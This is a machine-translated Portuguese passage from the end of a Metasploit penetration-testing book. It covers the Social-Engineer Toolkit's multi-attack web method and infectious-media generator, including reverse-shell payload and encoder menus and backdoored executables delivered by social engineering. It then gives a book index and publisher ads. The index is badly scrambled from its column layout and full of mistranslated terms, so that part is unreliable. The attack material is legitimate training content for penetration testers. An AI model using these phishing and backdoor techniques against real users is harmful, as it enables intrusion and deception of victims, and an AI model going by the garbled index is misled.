do sistema. Uma vez que o miniaplicativo mal-intencionado tenha permissão para executar após a mensagem de aviso, ele obtém o
privilégio de acesso total aos recursos na máquina de destino, pois agora está fora do ambiente de sandbox. Isso permite que o applet
execute uma vulnerabilidade Java e permita a execução remota de código. Da mesma forma, outros vetores de ataque baseados na Web
usam um navegador para transferir ataques para o sistema de destino. A engenharia social novamente está na arte de criar um cenário que
engane o usuário. O invasor pode criar um link malicioso oculto sob uma tag href ou o applet pode ser assinado usando assinaturas falsas
para parecer completamente legítimo. Os modelos SET são uma boa fonte de ataques de design.
O método de multi-ataque na web leva ainda mais o ataque na web para o próximo nível, combinando vários ataques em um. Este
método de ataque nos permite agrupar vários exploits e vulnerabilidades em um único formato. Depois que o arquivo ou URL é aberto
pelo usuário de destino, cada ataque é lançado um por um, a menos que um ataque bem-sucedido seja relatado. O SET automatiza o
processo de agrupar diferentes ataques em um único cenário de ataque na web. Vamos seguir em frente e ver como isso é feito.
selecionar um modelo que pode ser importado ou clonado. A diferença está na próxima etapa, onde podemos selecionar vários
exploits que podem ser adicionados ao ataque na web.
238
Machine Translated by Google
Capítulo 10
Digite sua escolha uma de cada vez (pressione 8 quando terminar de selecionar):
Podemos selecionar diferentes ataques e, quando terminarmos, podemos passar 8 e finalmente combinar os
ataques selecionados em um único vetor. Por fim, seremos solicitados a selecionar uma carga útil e um
codificador backdoor.
Como funciona...
Depois que diferentes ataques são selecionados, o SET os agrupa com uma carga útil e cria um único link malicioso
que precisa passar por engenharia social agora. Teremos que construir um modelo que pareça totalmente legítimo
para o usuário-alvo e forçá-lo a visitar o link malicioso. Uma vez que o link é clicado pela vítima, diferentes ataques
são tentados, um por um, a menos que um ataque bem-sucedido seja lançado. Depois que uma vulnerabilidade é
encontrada e explorada, a carga útil fornece uma conectividade de retorno ao ouvinte do Metasploit.
239
Machine Translated by Google
Nome: Descrição:
6. Windows Shell Reverse_TCP X64 TCP reverso em Shell de comando do Windows X64,
linha
9. Importe seu próprio executável executável Especifique um caminho para o seu próprio
1. avoid_utf8_tolower (Normal)
3. alpha_mixed (Normal)
4. alpha_upper (Normal)
5. call4_dword_xor (Normal)
6. contagem regressiva (normal)
7. fnstenv_mov (Normal)
8. jmp_call_additive (Normal)
9. nonalpha (Normal)
240
Machine Translated by Google
Capítulo 10
[-] Backdoor concluído com sucesso. A carga útil agora está oculta dentro de um legítimo
executável.
Como funciona...
Depois de gerar o arquivo malicioso codificado, o ouvinte do Metasploit começa a aguardar conexões
de retorno. A única limitação desse ataque é que a mídia removível deve ter a execução automática
ativada, caso contrário, será necessário um acionamento manual.
Esse tipo de vetor de ataque pode ser útil em situações em que o usuário-alvo está atrás de um firewall.
A maioria dos programas antivírus, hoje em dia, desativa a execução automática, o que, por sua vez,
inutiliza esse tipo de ataque. O pen-tester, juntamente com ataques baseados em execução automática,
também deve garantir que um executável/PDF legítimo backdoor seja fornecido junto com a mídia. Isso
garantiria que a vítima invariavelmente executaria uma das cargas.
241
Machine Translated by Google
Machine Translated by Google
Índice
pós-exploração 221-223
Símbolos configurando, no BackTrack 212, 213
-A parâmetro 145 -b configurando, no Linux 214 começando com
parâmetro 197 -c 212 trabalhando 213
parâmetro 101
-D operador 39 -f Ataques | Encontrar Ataques | Por porta ou por
parâmetro 125 -i vulnerabilidade 217
operador 145 -l 131 Opção de ataque 217
Corrupção de memória do Aurora
-oX parâmetro 24 -p no Internet Explorer 85
131, 145 -r 145 -S AUTO_DETECT sinalizador
operador 145 -sS 231 módulos de administração
parâmetro 36 -U auxiliares cerca de 173
operador 145 .NET 2.0 trabalhando com 173-175
módulo mscorie.dll 87 módulos auxiliares ativando 39,
40 explorando, para escanear
40 módulos, executando 39, 41
A especificações, configurando 39,
40 serviço de destino, escaneando 42
ACK scan [-sA] 36
threads, gerenciando 41
adicionar opção de
ramificação 51 adicionar
opção de nota 51 Randomização do layout do espaço
de endereço. Consulte ASLR do Windows
B
Adobe Reader BackTrack 5
estouro de buffer util.printf() 91-94 integrando, com Metasploit 13, 14
antiparser fuzzing framework sobre NOME BASE parâmetro 74
209 baixando 209 programas
antivírus C
canal -l comando 123
desativando, killav.rbscript usado 104-107
serviços de antivírus proteção antivírus do lado do cliente
matando, da linha de comando 111, 112 ignorando, msfencode usado 99-103 vetor de
ataque do lado do cliente 78
Armitagem
por volta de 211 exploração do lado do cliente
CSS .NET CLR 2.0.50727 erro ausente 88 no de sempre exploração 143 execute -h
comando 122
Internet Explorer 85, 86 funcionando 87, 88
opção CYCLIC 204 script meterpreter existente
analisando 163-168 módulo
existente sobre 182 analisando
D 182-184 trabalhando 184, 185
base de dados
244
Machine Translated by Google
coleta de
F
informações 214-217
atributos de arquivo digitalização 214-217
modificando, timestomp usado 126-128 coleta de informações sobre
comandos do sistema de arquivos, 27
meterpreter cerca de 124, 125 funcionando coleta de informações ativas 28 método
126 passivo 28, 30, 31 coleta de informações
FUZZCMDS opção 205 fuzzers, passivas 28 engenharia social 28 função
Metasploit initialize() 186, 193, 200
Soma de verificação do pacote 206
Cabeçalho do pacote 206 Internet Explorer
tamanho do pacote 206 Corrupção de memória Aurora 85
Corrupção de memória de chamada recursiva CSS 85, 86
G vulnerabilidade de configuração incorreta de script inseguro
79, 80, 82, 84
gateway 129
comando ipconfig 130
comando getdesktop sobre
131, 132, 134 funcionando
k
133-135 comando
getsystem 121 comando getuid comando keyscan_dump 132, 135 detecção
106 de pressionamento de tecla 131, 132
Técnica idiota do Google 33, 34 killav.rbscript sobre 108
H usando 108-110
usando, para programa antivírus desabilitando 104,
varredura semi-aberta 37 105-107 funcionando 107
hash
hashdump, tentando 141, 142
descriptografia de senha online 142
eu
passando 140, 141
Hello World, Metasploit sobre Botão de lançamento 225
19, 20 msfconsole, lançando Máquina Linux (Ubuntu)
20 msf > help command 21 msf > explorando 68-71 módulos de
ls command 20 exploração relevantes 72
Samba chain_reply Corrupção de memória 72
msf > comando msfupdate 21 funcionando Samba trans2open Overflow 72
20 comando de ajuda 23 tag href 238 funcionando 72 função loadlibrary() 76
M
EU
MULHER 126
Personificação 120 Metasploit
Importar da opção de arquivo 52 sobre 7, 115
gerador de mídia infecciosa sobre configurando, na configuração do
239-241 funcionando 241 Ubuntu 11, no Windows 10
opção CÍCLICA 204
245
Machine Translated by Google
API 151
características 116
246
Machine Translated by Google
247
Machine Translated by Google
248
Machine Translated by Google
TLV 122
Tipo-Comprimento-Valor. Ver TLV
EM
UAC 153
Varredura UDP [-sU]
36 função udp_sock_sendto 208
249
Machine Translated by Google
vulnerabilidade de configuração incorreta Windows 7/Server 2008 R2 cliente SMB loop infinito
de script inseguro sobre 67
no Internet Explorer 79-84
processo de trabalho 84 passos 67, 68
use o comando 67 trabalhando 68
Controle de Conta de Usuário. Consulte Windows 2003 Server
UAC User Interface (UI) 9 estouro de analisando 73-75 testes de
buffer util.printf() no Adobe Reader penetração, realizando 64-66 funcionando 76
91-94
trabalhando 95 Windows ASLR 90
Falhas de injeção de DLL do Windows 72
EM Desativador do Firewall do Windows
cerca de 159
detecção de versão [-sV] 38 construção 160, 161
Exibir | Console 220 código, reutilização 162
máquina virtual (VM) 15 trabalho 161, 162 escrita,
Vulnerabilidade
diretrizes 160
VirusTotal 104 Máquina com Windows XP SP2
cerca de 8
teste de penetração, realizando 57-61
encontrando winenum.rb 137
vulnerabilidade 217-219 variável write_check 185
verificando cerca de 44
comando de gravação 123, 124
Nesso, usando 45, 46
COM
EM
Técnica de transferência de zona 32
botão de assistir 223
WEBATTACK_SSL configurando 232
vetores de ataque de site
cerca de 236-238
trabalhando 238
250
Machine Translated by Google
Nossos livros e publicações compartilham as experiências de seus colegas profissionais de TI na adaptação e personalização
dos sistemas, aplicativos e estruturas atuais. Nossos livros baseados em soluções fornecem o conhecimento e o poder para
personalizar o software e as tecnologias que você está usando para realizar o trabalho.
Os livros Packt são mais específicos e menos gerais do que os livros de TI que você viu no passado. Nosso modelo de negócios
exclusivo nos permite trazer informações mais focadas, dando a você mais do que você precisa saber e menos do que você não
precisa.
A Packt é uma editora moderna, mas única, que se concentra na produção de livros de qualidade e de ponta para comunidades
de desenvolvedores, administradores e novatos. Para obter mais informações, visite nosso site: www.packtpub.com.
Não estamos apenas procurando por autores publicados; se você tem fortes habilidades técnicas, mas não tem experiência
em redação, nossos editores experientes podem ajudá-lo a desenvolver uma carreira de escritor ou simplesmente obter
alguma recompensa adicional por sua experiência.
Machine Translated by Google
Zabbix 1.8
Monitoramento de Rede
ISBN: 978-1-847197-68-9 Brochura: 428 páginas
BackTrack 4: Garantindo
Segurança por Penetração
teste
ISBN: 978-1-84951-394-4 Brochura: 392 páginas
Penetração Avançada
Teste para alta segurança
Ambientes: The Ultimate
Guia de segurança
ISBN: 978-1-84951-774-4 Brochura: 414 páginas